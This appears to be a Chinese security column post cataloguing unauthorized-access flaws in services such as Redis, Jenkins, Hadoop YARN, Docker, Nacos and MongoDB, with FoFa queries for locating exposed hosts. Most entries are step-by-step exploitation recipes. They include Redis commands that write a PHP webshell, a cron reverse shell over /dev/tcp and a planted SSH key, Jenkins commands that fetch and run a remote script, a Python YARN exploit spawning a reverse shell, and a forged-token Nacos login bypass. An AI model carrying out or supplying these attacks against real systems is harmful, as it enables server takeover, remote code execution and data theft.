- 成因:配置错误,默认口令(弱口令),接口配置不当;
- 未授权漏洞
| |
---|
漏洞 | 利用方式 |
Redis 未授权访问漏洞 |
| |
---|
Getshell方式 |
- 写入webshell;
- 连接目标redis:
redis-cli -h 192.168.7.146 -p 6379 - 设置保存目录:
config set dir /var/www/html - 设置保存文件名
config set dbfilename test.php - 设置信息:
set web "\r\n\r\n<?php @eval($_POST[cmd]); ?>\r\n\r\n" - 保存:
save - URL 拼接访问
test.php
- 计划任务反弹 shell; ( 计划任务路径:/var/spool/cron/ )
- 连接目标redis:
redis-cli -h 192.168.7.146 -p 6379 - 设置保存目录(写入计划任务):
config set dir /var/spool/cron/ - 设置保存文件名:
config set dbfilename root - 设置反弹的IP和端口:
set xx "\n* * * * * bash -i >& /dev/tcp/192.168.7.229/4444 0>&1\n" - 保存:
save - 本机监听 4444 端口,等待反弹shel :
nc lvnp 4444
- 写入 SSH 公钥;
- 用户本机生成公私钥(选项默认即可):
ssh-keygen -t rsa - 进入
/root/.ssh/ 目录 (需管理员权限); - 将公钥保存到
redis_rsa.txt : (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > redis_rsa.txt - 将保存的公钥,写入目标机器:
cat redis_rsa.txt | redis-cli -h 192.168.7.146 -x set crack - 查看是否存在
/root/.ssh
config set dir /root/.ssh config set dbfilename authorized_keys save
- 尝试连接:
cd .ssh ssh -i id_rsa root@192.168.7.146
- 利用工具
redis-rogue-server.py :
- 语句:
python redis-rogue-server.py --rhost 192.168.7.146 --rport 6379 --lhost 192.168.7.229
- 主从复制;
- 沙盒命令执行;
| FoFa 语句 | port="6379" && protocol="redis" | |
Rsync 未授权访问漏洞 |
| |
---|
利用方式-任意文件下载/上传 |
nmap 扫描端口发现 Rsync 服务(873端口)- 列出同步目录:
rsync rsync://192.168.7.10:873 - 列出模块下文件:
rsync rsync://192.168.7.10:873/debiancn - 下载任意文件:
rsync rsync://192.168.7.10:873/debiancn rsync rsync://192.168.7.10:873/debiancn/a.txz/home/kali/Desktop/a.txz
- 上传任意文件:
rsync 本地文件 192.168.7.185::上传目录位置
| FoFa 语句 | (port="873") && (is_honeypot=false && is_fraud=false) |
|
Springboot actuator未授权访问 |
| | |
---|
利用方式—敏感信息泄露 |
/env 显示环境变量信息;/info 显示应用信息;/dump 显示转储信息;/headdump 显示内存信息;
| | FoFa 语句 | (icon_hash="116323821") && (is_honeypot=false && is_fraud=false) && port="9001" && title=="RocketMg-console-ng" | |
|
Swagger-UI未授权访问 |
| |
---|
利用方式- 接口爆破 |
- 通过遍历接口字典,寻找未授权访问
/api
/api-docs
/api-docs/swagger.json
/api.html
/api/api-docs
/api/apidocs
/api/doc
/api/swagger
/api/swagger-ui
/api/swagger-ui.html
/api/swagger-ui.html/
/api/swagger-ui.json
/api/swagger.json
/api/swagger/
/api/swagger/ui
/api/swagger/ui/
/api/swaggerui
/api/swaggerui/
/api/v1/
/api/v1/api-docs
/api/v1/apidocs
/api/v1/swagger
/api/v1/swagger-ui
/api/v1/swagger-ui.html
/api/v1/swagger-ui.json
/api/v1/swagger.json
/api/v1/swagger/
/api/v2
/api/v2/api-docs
/api/v2/apidocs
/api/v2/swagger
/api/v2/swagger-ui
/api/v2/swagger-ui.html
/api/v2/swagger-ui.json
/api/v2/swagger.json
/api/v2/swagger/
/api/v3
/apidocs
/apidocs/swagger.json
/doc.html
/docs/
/druid/index.html
/graphql
/libs/swaggerui
/libs/swaggerui/
/spring-security-oauth-resource/swagger-ui.html
/spring-security-rest/api/swagger-ui.html
/sw/swagger-ui.html
/swagger
/swagger-resources
/swagger-resources/configuration/security
/swagger-resources/configuration/security/
/swagger-resources/configuration/ui
/swagger-resources/configuration/ui/
/swagger-ui
/swagger-ui.html
/swagger-ui.html#/api-memory-controller
/swagger-ui.html/
/swagger-ui.json
/swagger-ui/swagger.json
/swagger.json
/swagger.yml
/swagger/
/swagger/index.html
/swagger/static/index.html
/swagger/swagger-ui.html
/swagger/ui/
/Swagger/ui/index
/swagger/ui/index
/swagger/v1/swagger.json
/swagger/v2/swagger.json
/template/swagger-ui.html
/user/swagger-ui.html
/user/swagger-ui.html/
/v1.x/swagger-ui.html
/v1/api-docs
/v1/swagger.json
/v2/api-docs
/v3/api-docs
| FoFa 语句 | title="Swagger UI" |
|
JBOSS 未授权访问 |
| |
---|
利用方式——后台部署war包getshell |
/jmx-console/ 无需登录进入后台,例:http://127.0.0.1:8080/jmx-console/ - 找到
jboss.deployment 进入应用部署页面,部署war包 - 参考链接:JBoss未授权访问漏洞Getshell过程复现_jobss 5.0.1 getshell-CSDN博客
| FoFa 语句 | (title="Welcome to JBoss™") && (is_honeypot=false && is_fraud=false) |
|
Jenkins 未授权访问漏洞 |
| |
---|
利用方式-执行系统命令 (举例:反弹shell) |
- 无需密码登录后台,找到执行语句的功能点
- 监听:
nc -lvnp 4444 - 上传反弹shell语句文件到VPS;
- VPS 启动 HTTP 服务:
python -m SimpleHTTPServer 8080 (我这里是python2.x版本的,3.x版本的更换一下命令) - 命令执行框远程下载下载:
println "wget http://192.168.7.10:8080/1.sh".execute().text - 修改下载文件权限:
println "chmod +x 1.sh".execute().text - 执行:
println "./1.sh".execute().text - 查看监听的VPS 是否反弹到shell;
| FoFa 语句 | (port="8080" && app="jenkins" && app="jenkins")&&(is_honeypot=false && is_fraud=false) && title=="Dashboard [Jenkins]" |
|
Hadoop 末授权访问漏洞 |
利用方式-后台执行exp反弹shell |
- 访问
/cluster ,例:http://192.168.7.10:8088/cluster - 在本地监听端口 > 创建
Application > 调用Submit Application API 提交 - 执行exp脚本 ↓
# python脚本
import requests
import sys
target = 'http://192.168.49.134:8088' # 目标机ip
lhost = '192.168.49.132' # 将你的本地ip填在这里,使用nc监听555端口
target = sys.argv[1]
#lhost = sys.argv[2]
url = target + '/ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + '/ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': { # 可以在这里该监听端口↓
'command': '/bin/bash -i >& /dev/tcp/%s/555 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)r
| FoFa 语句 | port="8080"&& app="Hadoop" |
|
Memcached 未授权访问漏洞 |
| |
---|
利用方式-敏感信息泄露 |
- telnet探测:
telnet IP 11211,例:telnet 192.168.7.10 11211 - 连接后查看memcache服务信息:
stats
nmap -p 11211 --script memcached-info IP
| FoFa 语句 | app="Memcached" |
|
Elasticsearch 未授权访问漏洞 |
| |
---|
利用方式-敏感信息泄露 |
/_plugin/head/ web 管理界面/_cat/indices 所有索引的元数据信息/_river/_search 查看数据库的敏感信息/_nodes 查看节点数据
| FoFa 语句 | ("ELasticsearch"&&port="9200")&&(is_honeypot=false && is_fraud=false) | |
Kibana 未授权访问漏洞 |
| |
---|
利用方式-未授权访问 |
/app/kbana#/ ,例:http://192.168.7.10:5601/app/kibana#/ - 无需账号密码就可以登录进入页面
| FoFa 语句 | ("kibana" && port ="5601") && (is_honeypot=false && is_fraud=false) |
|
Docker Remote API 未授权访问漏洞 |
| |
---|
利用方式-敏感信息泄露 |
- 浏览器访问:
http://ip:2375/version http://ip:2375/info - 例:
http://192.168.7.10:2375/version
- docker 访问:
docker -H tcp://192.168.7.10:2375 ps -a
| FoFa 语句 | (port="2375") && (is_honeypot=false && is_fraud=false) |
|
Kubernetes Api Server 未授权访问漏洞 |
| |
---|
利用方式-敏感信息泄露 |
- 浏览器直接访问ip的8080服务,会返回API列表;
- 例:
http://192.168.7.10:8080/ - 再添加
/ui 后缀,会跳转到 dashboard 页面,可以创建,修改,删除,查看日志等;
| FoFa 语句 | (port="8080"&& app="Kubernetes") && (is_honeypot=false && is_fraud=false) |
|
ActiveMQ 未授权访问漏洞 |
| |
---|
利用方式-弱口令 |
:8186/admin/ (默认8186端口),默认账户密码都是 admin ,访问登录成功即可
| FoFa 语句 | (body="ActiveMQ" && port="8161" && country="CN") && (is_honeypot=false && is_fraud=false) | |
RabbitMQ 未授权访问漏洞 |
| |
---|
利用方式-弱口令 |
- 替换为下列端口,可以访问,不行的加/#/试试,默认账号密码都是
guest
| FoFa 语句 |
port="15672" || port="15692" || port="25672" icon_hash="-1015107330"
|
|
FTP 未授权访问漏洞 |
| |
---|
利用方式-空密码 |
- 文件夹输入cmd,进入命令执行环境;
- 由于其开启了匿名登录,所以可以直接连接,格式:
ftp://ip:端口 - 例:
ftp://192.168.7.10
| FoFa 语句 | port="21" |
|
VNC 未授权访问漏洞 |
| |
---|
利用方式-空密码 |
- kali 执行:
vncviewer [IP] - 例:
vncviewer 192.168.7.10 ,出现其他用户界面即存在
| FoFa 语句 | (port="5900") && (is_honeypot=false && is_fraud=false) && product="VNC" |
|
dubbo 未授权访问漏洞 |
| |
---|
利用方式-telnet连接服务,执行特定命令 |
telent [IP] [Port]; - 例:
telent 192.168.7.10 20894 - 执行后,连接到dubbo服务,执行命令(help查看可执行的命令)
| FoFa 语句 | (app="APACHE-dubbo") &&(is_honeypot=false && is_fraud=false) |
|
Atlassian Crowd 未授权访问漏洞 |
| |
---|
利用方式-拼接后缀查看响应 |
- 访问:
网站/crowd/admin/uploadplugin.action - 例:
http://192.168.7.10:8095/crowd/admin/uploadplugin.action - 响应400则存在该漏洞;
| FoFa 语句 | "Atlassian-Crowd" && port="8095" |
|
Jupyter Notebook未授权访问漏洞 |
| |
---|
利用方式 - 未授权访问 | 直接访问URL 会直接跳到 web 管理界面(无需输入密码) | FoFa 语句 | ("Jupyter Notebook" && port="8888") && (is_honeypot=false $$ is_fraud=false) |
|
Mongodb 未授权访问漏洞 |
| |
---|
利用方式-空密码 |
- 访问可以直接连接数据库(空口令);
- nmap验证:
nmap -p 27017 --script mongodb-info 192.168.7.10
| FoFa 语句 | product="MongoDB-数据库"&& port="27017" && country≠"CN" |
|
Nacos未授权漏洞 (端口8848) |
利用方式 |
CVE-2021-29441 |
- 影响版本
Nacos ≤ 2.0.0-ALPHA.1 - 查看用户列表
/nacos/v1/auth/users?pageNo=1&pageSize=1 - POST请求方式访问:
/nacos/v1/auth/users - 添加POST参数:
username=demo&password=demo - 修改UA为:
Nacos-Server - 访问登录页面:
ip:8848/nacos/#/login - 尝试使用创建的demo用户登录
- PS:查看创建的用户:
/nacos/v1/auth/users?pageNo=1&pageSize=1&search=blur
| nacos身份绕过漏洞 |
- 影响版本
0.1.0 ≤ Nacos ≤ 2.2.0 - 访问登录页面:
ip:8848/nacos/#/login - 拦截登录请求的数据包
- 尝试修改数据包内容,如添加或修改Authorization头部,以伪造有效的认证信息,示例:
HTTP/1.1 200
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzY5N30.nyooAL4OMdiByXocu8kL1ooXd1IeKj6wQZwIH8nmcNA
Content-Type: application/json;charset=UTF-8
Content-Length: 13
Date: Wed, 24 Jan 2024 14:50:11 GMT {
"accessToken": "eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzY5N30.nyooAL4OMdiByXocu8kL1ooXd1IeKj6wQZwIH8nmcNA",
"tokenTtl": 18000,
"globalAdmin": false,
"username": "nacos"
} - 成功登录后台
|
| FoFa 语句 | title="Swagger UI" | 影响版本 | Nacos ≤ 2.0.0-ALPHA.1 |
|
工具推荐(支持38种未授权检测):GitHub - xk11z/unauthorized: 常见的未授权漏洞检测 ,
1 、FTP 未授权访问(21)
2 、LDAP 未授权访问(389)
3 、Rsync 未授权访问(873)
4 、ZooKeeper 未授权访问(2181)
5 、Docker 未授权访问(2375)
6 、Docker Registry未授权(5000)
7 、Kibana 未授权访问(5601)
8 、VNC 未授权访问(5900、5901)
9 、CouchDB 未授权访问(5984)
10 、Apache Spark 未授权访问(6066、8081、8082)
11 、Redis 未授权访问(6379)
12 、Weblogic 未授权访问(7001)
13 、HadoopYARN 未授权访问(8088)
14 、JBoss 未授权访问(8080)
15 、Jenkins 未授权访问(8080)
16 、Kubernetes Api Server 未授权(8080、10250)
17 、Active MQ 未授权访问(8161)
18 、Jupyter Notebook 未授权访问(8888)
19 、Elasticsearch 未授权访问(9200、9300)
20 、Zabbix 未授权访问(10051)
21 、Memcached 未授权访问(11211)
22 、RabbitMQ 未授权访问(15672、15692、25672)
23 、MongoDB 未授权访问(27017)
24 、NFS 未授权访问(2049、20048)
25 、Dubbo 未授权访问(28096)
26 、Druid 未授权访问
27 、Solr 未授权访问
28 、SpringBoot Actuator 未授权访问
29 、SwaggerUI未授权访问漏洞
30 、Harbor未授权添加管理员漏洞
31 、Windows ipc共享未授权访问漏洞
32 、宝塔phpmyadmin未授权访问
33 、WordPress未授权访问漏洞
34 、Atlassian Crowd 未授权访问
35 、PHP-FPM Fastcgi未授权访问漏洞
36 、uWSGI未授权访问漏洞
37 、Kong未授权访问漏洞
38 、ThinkAdminV6未授权访问漏洞
-
本专栏内容仅供参考,不构成任何投资、学习或专业建议。读者在参考本专栏内容时,应结合自身实际情况,谨慎作出决策。
-
本专栏作者及发布平台尽力确保内容的准确性和可靠性,但无法保证内容的绝对正确。对于因使用本专栏内容而导致的任何损失,作者及发布平台概不负责。
-
本专栏部分内容来源于网络,版权归原作者所有。如有侵权,请及时联系我们,我们将尽快予以处理。
-
读者在阅读本专栏内容时,应遵守相关法律法规,不得将内容用于非法用途。如因读者行为导致不良后果,作者及发布平台不承担任何责任。
-
本免责声明适用于本专栏所有内容,包括文字、图片、音频、视频等。读者在阅读本专栏内容时,视为已接受本免责声明。
-
作者及发布平台保留对本免责声明的解释权和修改权,如有变更,将第一时间在本专栏页面进行公告。读者继续使用本专栏内容,视为已同意变更后的免责声明。
敬请广大读者谅解。如有疑问,请联系我们。谢谢!